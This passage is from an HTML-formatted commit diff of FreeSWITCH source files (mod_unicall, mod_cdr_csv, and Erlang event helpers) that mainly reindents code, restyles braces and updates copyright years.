-            else if (!strcmp(var, &quot;dtmf-on&quot;))
-            {
-                globals.dtmf_on = atoi(val);
-            }
-            else if (!strcmp(var, &quot;dtmf-off&quot;))
-            {
-                globals.dtmf_off = atoi(val);
-            }
-            else if (!strcmp(var, &quot;dialplan&quot;))
-            {
-                set_global_dialplan(val);
-            }
-            else if (!strcmp(var, &quot;suppress-dtmf-tone&quot;))
-            {
-                globals.suppress_dtmf_tone = switch_true(val);
-            }
-            else if (!strcmp(var, &quot;ignore-dtmf-tone&quot;))
-            {
-                globals.ignore_dtmf_tone = switch_true(val);
-            }
-        }
-    }
-    spans = switch_xml_child(cfg, &quot;spans&quot;);
-    id = NULL;
-    for (span = switch_xml_child(spans, &quot;span&quot;);  span;  span = span-&gt;next)
-    {
-        id = (char *) switch_xml_attr(span, &quot;id&quot;);
</del><ins>+                        if (!strcmp(var, &quot;debug&quot;)) {
+                                globals.debug = atoi(val);
+                        } else if (!strcmp(var, &quot;ms-per-frame&quot;)) {
+                                globals.frame_duration = atoi(val);
+                        } else if (!strcmp(var, &quot;dtmf-on&quot;)) {
+                                globals.dtmf_on = atoi(val);
+                        } else if (!strcmp(var, &quot;dtmf-off&quot;)) {
+                                globals.dtmf_off = atoi(val);
+                        } else if (!strcmp(var, &quot;dialplan&quot;)) {
+                                set_global_dialplan(val);
+                        } else if (!strcmp(var, &quot;suppress-dtmf-tone&quot;)) {
+                                globals.suppress_dtmf_tone = switch_true(val);
+                        } else if (!strcmp(var, &quot;ignore-dtmf-tone&quot;)) {
+                                globals.ignore_dtmf_tone = switch_true(val);
+                        }
+                }
+        }
+        spans = switch_xml_child(cfg, &quot;spans&quot;);
+        id = NULL;
+        for (span = switch_xml_child(spans, &quot;span&quot;); span; span = span-&gt;next) {
+                id = (char *) switch_xml_attr(span, &quot;id&quot;);
</ins><span class="cx"> 
</span><del>-        current_span = 0;
</del><ins>+                current_span = 0;
</ins><span class="cx"> 
</span><del>-        if (id)
-        {
-            char *p;
</del><ins>+                if (id) {
+                        char *p;
</ins><span class="cx"> 
</span><del>-            min_span = atoi(id);
-            if ((p = strchr(id, '-')))
-            {
-                p++;
-                max_span = atoi(p);
-            }
-            else
-            {
-                max_span = min_span;
-            }
-            if (min_span &lt; 1  ||  max_span &lt; min_span)
-            {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid Span Config! [%s]\n&quot;, id);
-                continue;
-            }
-        }
-        else
-        {
-            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Missing SPAN ID!\n&quot;);
-            continue;
-        }
-        for (i = min_span;  i &lt;= max_span;  i++)
-        {
-            current_span = i;
</del><ins>+                        min_span = atoi(id);
+                        if ((p = strchr(id, '-'))) {
+                                p++;
+                                max_span = atoi(p);
+                        } else {
+                                max_span = min_span;
+                        }
+                        if (min_span &lt; 1 || max_span &lt; min_span) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid Span Config! [%s]\n&quot;, id);
+                                continue;
+                        }
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Missing SPAN ID!\n&quot;);
+                        continue;
+                }
+                for (i = min_span; i &lt;= max_span; i++) {
+                        current_span = i;
</ins><span class="cx"> 
</span><del>-            if (current_span &lt;= 0  ||  current_span &gt; MAX_SPANS)
-            {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid SPAN %d!\n&quot;, current_span);
-                current_span = 0;
-                continue;
-            }
-            if (span_data[current_span] == NULL)
-            {
-                if ((span_data[current_span] = switch_core_alloc(module_pool, sizeof(*span_data[current_span]))) == NULL)
-                {
-                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;MEMORY ERROR\n&quot;);
-                    break;
-                }
-                sp = span_data[current_span];
-                memset(sp, 0, sizeof(*sp));
-                sp-&gt;span = current_span;
-                sp-&gt;protocol_class = NULL;
-                sp-&gt;protocol_variant = NULL;
-                sp-&gt;protocol_end = UC_MODE_CPE;
-                sp-&gt;outgoing_ok = TRUE;
-            }
-            sp = span_data[current_span];
-            sp-&gt;id = strdup(id);
-            for (param = switch_xml_child(span, &quot;param&quot;);  param;  param = param-&gt;next)
-            {
-                char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
-                char *val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</del><ins>+                        if (current_span &lt;= 0 || current_span &gt; MAX_SPANS) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid SPAN %d!\n&quot;, current_span);
+                                current_span = 0;
+                                continue;
+                        }
+                        if (span_data[current_span] == NULL) {
+                                if ((span_data[current_span] = switch_core_alloc(module_pool, sizeof(*span_data[current_span]))) == NULL) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;MEMORY ERROR\n&quot;);
+                                        break;
+                                }
+                                sp = span_data[current_span];
+                                memset(sp, 0, sizeof(*sp));
+                                sp-&gt;span = current_span;
+                                sp-&gt;protocol_class = NULL;
+                                sp-&gt;protocol_variant = NULL;
+                                sp-&gt;protocol_end = UC_MODE_CPE;
+                                sp-&gt;outgoing_ok = TRUE;
+                        }
+                        sp = span_data[current_span];
+                        sp-&gt;id = strdup(id);
+                        for (param = switch_xml_child(span, &quot;param&quot;); param; param = param-&gt;next) {
+                                char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
+                                char *val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</ins><span class="cx"> 
</span><del>-                if (strcmp(var, &quot;protocol-class&quot;) == 0)
-                {
-                    sp-&gt;protocol_class = strdup(val);
-                }
-                else if (strcmp(var, &quot;protocol-variant&quot;) == 0)
-                {
-                    sp-&gt;protocol_variant = strdup(val);
-                }
-                else if (strcmp(var, &quot;protocol-end&quot;) == 0)
-                {
-                    if (strcasecmp(val, &quot;co&quot;) == 0)
-                        sp-&gt;protocol_end = UC_MODE_CO;
-                    else if (strcasecmp(val, &quot;cpe&quot;) == 0)
-                        sp-&gt;protocol_end = UC_MODE_CPE;
-                    else if (strcasecmp(val, &quot;peer&quot;) == 0)
-                        sp-&gt;protocol_end = UC_MODE_PEER;
-                    else
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;UNKNOWN protocol-end TYPE %s\n&quot;, val);
-                }
-                else if (strcmp(var, &quot;outgoing-allowed&quot;) == 0)
-                {
-                    sp-&gt;outgoing_ok = switch_true(var);
-                }
-                else if (strcmp(var, &quot;dialplan&quot;) == 0)
-                {
-                    sp-&gt;dialplan = strdup(val);
-                }
-                else if (strcmp(var, &quot;context&quot;) == 0)
-                {
-                    sp-&gt;context = strdup(val);
-                }
-                else
-                {
-                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;UNKNOWN PARAMETER %s\n&quot;, var);
-                }
-            }
-        }
-    }
-    switch_xml_free(xml);
</del><ins>+                                if (strcmp(var, &quot;protocol-class&quot;) == 0) {
+                                        sp-&gt;protocol_class = strdup(val);
+                                } else if (strcmp(var, &quot;protocol-variant&quot;) == 0) {
+                                        sp-&gt;protocol_variant = strdup(val);
+                                } else if (strcmp(var, &quot;protocol-end&quot;) == 0) {
+                                        if (strcasecmp(val, &quot;co&quot;) == 0)
+                                                sp-&gt;protocol_end = UC_MODE_CO;
+                                        else if (strcasecmp(val, &quot;cpe&quot;) == 0)
+                                                sp-&gt;protocol_end = UC_MODE_CPE;
+                                        else if (strcasecmp(val, &quot;peer&quot;) == 0)
+                                                sp-&gt;protocol_end = UC_MODE_PEER;
+                                        else
+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;UNKNOWN protocol-end TYPE %s\n&quot;, val);
+                                } else if (strcmp(var, &quot;outgoing-allowed&quot;) == 0) {
+                                        sp-&gt;outgoing_ok = switch_true(var);
+                                } else if (strcmp(var, &quot;dialplan&quot;) == 0) {
+                                        sp-&gt;dialplan = strdup(val);
+                                } else if (strcmp(var, &quot;context&quot;) == 0) {
+                                        sp-&gt;context = strdup(val);
+                                } else {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;UNKNOWN PARAMETER %s\n&quot;, var);
+                                }
+                        }
+                }
+        }
+        switch_xml_free(xml);
</ins><span class="cx"> 
</span><del>-    if (globals.dialplan == NULL)
-        set_global_dialplan(&quot;XML&quot;);
</del><ins>+        if (globals.dialplan == NULL)
+                set_global_dialplan(&quot;XML&quot;);
</ins><span class="cx"> 
</span><del>-    globals.configured_spans = 0;
-    for (current_span = 1;  current_span &lt; MAX_SPANS;  current_span++)
-    {
-        if (span_data[current_span])
-        {
-            sp = span_data[current_span];
-            if ((sp-&gt;uc = uc_create(sp-&gt;id,
-                                    sp-&gt;protocol_class,
-                                    sp-&gt;protocol_variant,
-                                    sp-&gt;protocol_end,
-                                    sp-&gt;outgoing_ok)) == NULL)
-            {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Cannot launch span %d\n&quot;, current_span);
-                return SWITCH_STATUS_FALSE;
-            }
-            uc_get_device_handle(sp-&gt;uc, 0, &amp;sp-&gt;fd);
-            uc_set_signaling_callback(sp-&gt;uc, handle_uc_event, (void *) (intptr_t) current_span);
-            logging_level = UC_LOG_SEVERITY_MASK | UC_LOG_SHOW_TAG | UC_LOG_SHOW_PROTOCOL;
-            uc_set_logging(sp-&gt;uc, logging_level, 1, sp-&gt;id);
</del><ins>+        globals.configured_spans = 0;
+        for (current_span = 1; current_span &lt; MAX_SPANS; current_span++) {
+                if (span_data[current_span]) {
+                        sp = span_data[current_span];
+                        if ((sp-&gt;uc = uc_create(sp-&gt;id, sp-&gt;protocol_class, sp-&gt;protocol_variant, sp-&gt;protocol_end, sp-&gt;outgoing_ok)) == NULL) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Cannot launch span %d\n&quot;, current_span);
+                                return SWITCH_STATUS_FALSE;
+                        }
+                        uc_get_device_handle(sp-&gt;uc, 0, &amp;sp-&gt;fd);
+                        uc_set_signaling_callback(sp-&gt;uc, handle_uc_event, (void *) (intptr_t) current_span);
+                        logging_level = UC_LOG_SEVERITY_MASK | UC_LOG_SHOW_TAG | UC_LOG_SHOW_PROTOCOL;
+                        uc_set_logging(sp-&gt;uc, logging_level, 1, sp-&gt;id);
</ins><span class="cx"> 
</span><del>-            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Launched span %d\n&quot;, current_span);
-            unicall_thread_launch(sp-&gt;uc);
-            switch_mutex_lock(globals.hash_mutex);
-            globals.configured_spans++;
-            switch_mutex_unlock(globals.hash_mutex);
-        }
-    }
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Launched span %d\n&quot;, current_span);
+                        unicall_thread_launch(sp-&gt;uc);
+                        switch_mutex_lock(globals.hash_mutex);
+                        globals.configured_spans++;
+                        switch_mutex_unlock(globals.hash_mutex);
+                }
+        }
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_unicall_load)
</span><span class="cx"> {
</span><del>-    int logging_level;
-    switch_status_t status = SWITCH_STATUS_SUCCESS;
</del><ins>+        int logging_level;
+        switch_status_t status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> 
</span><del>-    uc_start();
-    uc_set_error_handler(unicall_report);
-    uc_set_message_handler(unicall_message);
-    logging_level = UC_LOG_SEVERITY_MASK;
-    uc_set_logging(NULL, logging_level, 1, NULL);
</del><ins>+        uc_start();
+        uc_set_error_handler(unicall_report);
+        uc_set_message_handler(unicall_message);
+        logging_level = UC_LOG_SEVERITY_MASK;
+        uc_set_logging(NULL, logging_level, 1, NULL);
</ins><span class="cx"> 
</span><span class="cx">         memset(span_data, 0, sizeof(span_data));
</span><span class="cx"> 
</span><del>-    module_pool = pool;
</del><ins>+        module_pool = pool;
</ins><span class="cx"> 
</span><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx">         switch_core_hash_init(&amp;globals.call_hash, module_pool);
</span><span class="lines">@@ -1979,17 +1874,17 @@
</span><span class="cx">         switch_mutex_init(&amp;globals.hash_mutex, SWITCH_MUTEX_NESTED, module_pool);
</span><span class="cx">         switch_mutex_init(&amp;globals.channel_mutex, SWITCH_MUTEX_NESTED, module_pool);
</span><span class="cx"> 
</span><del>-    if ((status = config_unicall(FALSE)) != SWITCH_STATUS_SUCCESS)
-        return status;
</del><ins>+        if ((status = config_unicall(FALSE)) != SWITCH_STATUS_SUCCESS)
+                return status;
</ins><span class="cx"> 
</span><del>-    *module_interface = switch_loadable_module_create_module_interface(pool, modname);
-    unicall_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
-    unicall_endpoint_interface-&gt;interface_name = &quot;unicall&quot;;
-    unicall_endpoint_interface-&gt;io_routines = &amp;unicall_io_routines;
-    unicall_endpoint_interface-&gt;state_handler = &amp;unicall_state_handlers;
</del><ins>+        *module_interface = switch_loadable_module_create_module_interface(pool, modname);
+        unicall_endpoint_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_ENDPOINT_INTERFACE);
+        unicall_endpoint_interface-&gt;interface_name = &quot;unicall&quot;;
+        unicall_endpoint_interface-&gt;io_routines = &amp;unicall_io_routines;
+        unicall_endpoint_interface-&gt;state_handler = &amp;unicall_state_handlers;
</ins><span class="cx"> 
</span><del>-    /* Indicate that the module should continue to be loaded */
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        /* Indicate that the module should continue to be loaded */
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -2001,10 +1896,10 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_unicall_shutdown)
</span><span class="cx"> {
</span><del>-    int x = 0;
</del><ins>+        int x = 0;
</ins><span class="cx"> 
</span><del>-    for (x = 0, running = -1;  running  &amp;&amp;  x &lt;= 100;  x++)
-        switch_yield(20000);
-    uc_end();
-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        for (x = 0, running = -1; running &amp;&amp; x &lt;= 100; x++)
+                switch_yield(20000);
+        uc_end();
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_cdr_csvmod_cdr_csvc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_cdr_csv/mod_cdr_csv.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -161,7 +161,7 @@
</span><span class="cx">                 do_rotate(fd);
</span><span class="cx">                 switch_yield(250000);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (bytes_in &gt; 0) {
</span><span class="cx">                 fd-&gt;bytes += bytes_in;
</span><span class="cx">         }
</span><span class="lines">@@ -215,15 +215,16 @@
</span><span class="cx">                         free(buf);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         g_template_str = (const char *) switch_core_hash_find(globals.template_hash, globals.default_template);
</span><span class="cx"> 
</span><span class="cx">         if ((accountcode = switch_channel_get_variable(channel, &quot;ACCOUNTCODE&quot;))) {
</span><span class="cx">                 a_template_str = (const char *) switch_core_hash_find(globals.template_hash, accountcode);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!g_template_str) {
</span><del>-                g_template_str = &quot;\&quot;${accountcode}\&quot;,\&quot;${caller_id_number}\&quot;,\&quot;${destination_number}\&quot;,\&quot;${context}\&quot;,\&quot;${caller_id}\&quot;,\&quot;${channel_name}\&quot;,\&quot;${bridge_channel}\&quot;,\&quot;${last_app}\&quot;,\&quot;${last_arg}\&quot;,\&quot;${start_stamp}\&quot;,\&quot;${answer_stamp}\&quot;,\&quot;${end_stamp}\&quot;,\&quot;${duration}\&quot;,\&quot;${billsec}\&quot;,\&quot;${hangup_cause}\&quot;,\&quot;${amaflags}\&quot;,\&quot;${uuid}\&quot;,\&quot;${userfield}\&quot;;&quot;;
</del><ins>+                g_template_str =
+                        &quot;\&quot;${accountcode}\&quot;,\&quot;${caller_id_number}\&quot;,\&quot;${destination_number}\&quot;,\&quot;${context}\&quot;,\&quot;${caller_id}\&quot;,\&quot;${channel_name}\&quot;,\&quot;${bridge_channel}\&quot;,\&quot;${last_app}\&quot;,\&quot;${last_arg}\&quot;,\&quot;${start_stamp}\&quot;,\&quot;${answer_stamp}\&quot;,\&quot;${end_stamp}\&quot;,\&quot;${duration}\&quot;,\&quot;${billsec}\&quot;,\&quot;${hangup_cause}\&quot;,\&quot;${amaflags}\&quot;,\&quot;${uuid}\&quot;,\&quot;${userfield}\&quot;;&quot;;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!a_template_str) {
</span><span class="lines">@@ -295,11 +296,11 @@
</span><span class="cx">         /*.on_hangup */ NULL,
</span><span class="cx">         /*.on_exchange_media */ NULL,
</span><span class="cx">         /*.on_soft_execute */ NULL,
</span><del>-        /*.on_consume_media*/ NULL,
-        /*.on_hibernate*/ NULL,
-        /*.on_reset*/ NULL,
-        /*.on_park*/ NULL,
-        /*.on_reporting*/ my_on_reporting
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ my_on_reporting
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -315,11 +316,11 @@
</span><span class="cx">         switch_core_hash_init(&amp;globals.template_hash, pool);
</span><span class="cx"> 
</span><span class="cx">         globals.pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_hash_insert(globals.template_hash, &quot;default&quot;, default_template);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Adding default template.\n&quot;);
</span><span class="cx">         globals.legs = CDR_LEG_A;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((xml = switch_xml_open_cfg(cf, &amp;cfg, NULL))) {
</span><span class="cx"> 
</span><span class="cx">                 if ((settings = switch_xml_child(cfg, &quot;settings&quot;))) {
</span><span class="lines">@@ -344,9 +345,11 @@
</span><span class="cx">                                         globals.rotate = switch_true(val);
</span><span class="cx">                                 } else if (!strcasecmp(var, &quot;default-template&quot;)) {
</span><span class="cx">                                         globals.default_template = switch_core_strdup(pool, val);
</span><del>-                                } else if (!strcasecmp(var, &quot;master-file-only&quot;)) {
-                                        globals.masterfileonly = switch_true(val);
-                                }
</del><ins>+                                } else if (!strcasecmp(var, &quot;master-file-only&quot;)) {
+                                        
+globals.masterfileonly = switch_true(val);
+                                
+}
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -413,7 +416,7 @@
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cdr_csv_shutdown)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-        globals.shutdown = 1;        
</del><ins>+        globals.shutdown = 1;
</ins><span class="cx">         switch_event_unbind_callback(event_handler);
</span><span class="cx">         switch_core_remove_state_handler(&amp;state_handlers);
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_erlang_eventei_helpersc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/ei_helpers.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -54,23 +54,24 @@
</span><span class="cx"> } while (0)
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to) {
</del><ins>+void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to)
+{
</ins><span class="cx">         char msgbuf[2048];
</span><span class="cx">         char *s;
</span><span class="cx">         int index = 0;
</span><span class="cx">         int ret;
</span><span class="cx"> 
</span><del>-        index = 5;                                     /* max sizes: */
-        ei_encode_version(msgbuf,&amp;index);                     /*   1 */
-        ei_encode_tuple_header(msgbuf,&amp;index,3);
-        ei_encode_long(msgbuf,&amp;index,ERL_LINK);
-        ei_encode_pid(msgbuf,&amp;index,from);                    /* 268 */
-        ei_encode_pid(msgbuf,&amp;index,to);                      /* 268 */
</del><ins>+        index = 5;                                        /* max sizes: */
+        ei_encode_version(msgbuf, &amp;index);        /*   1 */
+        ei_encode_tuple_header(msgbuf, &amp;index, 3);
+        ei_encode_long(msgbuf, &amp;index, ERL_LINK);
+        ei_encode_pid(msgbuf, &amp;index, from);        /* 268 */
+        ei_encode_pid(msgbuf, &amp;index, to);        /* 268 */
</ins><span class="cx"> 
</span><span class="cx">         /* 5 byte header missing */
</span><span class="cx">         s = msgbuf;
</span><del>-        put32be(s, index - 4);                                /*   4 */
-        put8(s, ERL_PASS_THROUGH);                            /*   1 */
</del><ins>+        put32be(s, index - 4);                /*   4 */
+        put8(s, ERL_PASS_THROUGH);        /*   1 */
</ins><span class="cx">         /* sum:  542 */
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(listener-&gt;sock_mutex);
</span><span class="lines">@@ -82,7 +83,7 @@
</span><span class="cx">         switch_mutex_unlock(listener-&gt;sock_mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
</del><ins>+void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event)
</ins><span class="cx"> {
</span><span class="cx">         int i;
</span><span class="cx">         char *uuid = switch_event_get_header(event, &quot;unique-id&quot;);
</span><span class="lines">@@ -94,7 +95,7 @@
</span><span class="cx">         if (event-&gt;body)
</span><span class="cx">                 i++;
</span><span class="cx"> 
</span><del>-        ei_x_encode_list_header(ebuf, i+1);
</del><ins>+        ei_x_encode_list_header(ebuf, i + 1);
</ins><span class="cx"> 
</span><span class="cx">         if (uuid) {
</span><span class="cx">                 _ei_x_encode_string(ebuf, switch_event_get_header(event, &quot;unique-id&quot;));
</span><span class="lines">@@ -118,7 +119,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag)
</del><ins>+void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag)
</ins><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         ei_x_encode_tuple_header(ebuf, 2);
</span><span class="lines">@@ -130,7 +131,7 @@
</span><span class="cx">    calls module:function(Ref). The response comes back as
</span><span class="cx">    {rex, {Ref, Pid}}
</span><span class="cx">  */
</span><del>-int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function)
</del><ins>+int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function)
</ins><span class="cx"> {
</span><span class="cx">         ei_x_buff buf;
</span><span class="cx">         ei_x_new(&amp;buf);
</span><span class="lines">@@ -145,7 +146,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* function to spawn a process on a remote node */
</span><del>-int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv)
</del><ins>+int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv)
</ins><span class="cx"> {
</span><span class="cx">         int i;
</span><span class="cx">         ei_x_buff buf;
</span><span class="lines">@@ -154,7 +155,7 @@
</span><span class="cx">         ei_x_encode_tuple_header(&amp;buf, 3);
</span><span class="cx">         ei_x_encode_atom(&amp;buf, &quot;$gen_call&quot;);
</span><span class="cx">         ei_x_encode_tuple_header(&amp;buf, 2);
</span><del>-        ei_x_encode_pid(&amp;buf, ei_self(ec)); 
</del><ins>+        ei_x_encode_pid(&amp;buf, ei_self(ec));
</ins><span class="cx">         ei_init_ref(ec, ref);
</span><span class="cx">         ei_x_encode_ref(&amp;buf, ref);
</span><span class="cx">         ei_x_encode_tuple_header(&amp;buf, 5);
</span><span class="lines">@@ -165,18 +166,18 @@
</span><span class="cx">         /* argument list */
</span><span class="cx">         if (argc &lt; 0) {
</span><span class="cx">                 ei_x_encode_list_header(&amp;buf, argc);
</span><del>-                for(i = 0; i &lt; argc &amp;&amp; argv[i]; i++) {
</del><ins>+                for (i = 0; i &lt; argc &amp;&amp; argv[i]; i++) {
</ins><span class="cx">                         ei_x_encode_atom(&amp;buf, argv[i]);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         ei_x_encode_empty_list(&amp;buf);
</span><span class="cx"> 
</span><del>-        /*if (i != argc - 1) {*/
-                /* horked argument list */
-        /*}*/
</del><ins>+        /*if (i != argc - 1) { */
+        /* horked argument list */
+        /*} */
</ins><span class="cx"> 
</span><del>-        ei_x_encode_pid(&amp;buf, ei_self(ec)); /* should really be a valid group leader */
</del><ins>+        ei_x_encode_pid(&amp;buf, ei_self(ec));        /* should really be a valid group leader */
</ins><span class="cx"> 
</span><span class="cx"> #ifdef EI_DEBUG
</span><span class="cx">         ei_x_print_reg_msg(&amp;buf, &quot;net_kernel&quot;, 1);
</span><span class="lines">@@ -191,11 +192,11 @@
</span><span class="cx"> #define MAX_REFERENCE    (1 &lt;&lt; _REF_NUM_SIZE)
</span><span class="cx"> 
</span><span class="cx"> /* function to fill in an erlang reference struct */
</span><del>-void ei_init_ref(ei_cnode *ec, erlang_ref *ref)
</del><ins>+void ei_init_ref(ei_cnode * ec, erlang_ref * ref)
</ins><span class="cx"> {
</span><del>-        memset(ref, 0, sizeof(*ref)); /* zero out the struct */
</del><ins>+        memset(ref, 0, sizeof(*ref));        /* zero out the struct */
</ins><span class="cx">         snprintf(ref-&gt;node, MAXATOMLEN, &quot;%s&quot;, ec-&gt;thisnodename);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.ref_mutex);
</span><span class="cx">         globals.reference0++;
</span><span class="cx">         if (globals.reference0 &gt;= MAX_REFERENCE) {
</span><span class="lines">@@ -212,12 +213,12 @@
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(globals.ref_mutex);
</span><span class="cx"> 
</span><del>-        ref-&gt;creation = 1; /* why is this 1 */
-        ref-&gt;len = 3; /* why is this 3 */
</del><ins>+        ref-&gt;creation = 1;                        /* why is this 1 */
+        ref-&gt;len = 3;                                /* why is this 3 */
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send)
</del><ins>+void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send)
</ins><span class="cx"> {
</span><span class="cx">         char *mbuf = NULL;
</span><span class="cx">         int i = 1;
</span><span class="lines">@@ -233,7 +234,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
</del><ins>+void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send)
</ins><span class="cx"> {
</span><span class="cx">         char *pbuf = NULL;
</span><span class="cx">         int i = 0;
</span><span class="lines">@@ -241,7 +242,7 @@
</span><span class="cx"> 
</span><span class="cx">         ei_x_new(&amp;pidbuf);
</span><span class="cx">         ei_x_encode_pid(&amp;pidbuf, pid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         ei_s_print_term(&amp;pbuf, pidbuf.buff, &amp;i);
</span><span class="cx"> 
</span><span class="cx">         ei_x_print_reg_msg(buf, pbuf, send);
</span><span class="lines">@@ -249,7 +250,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
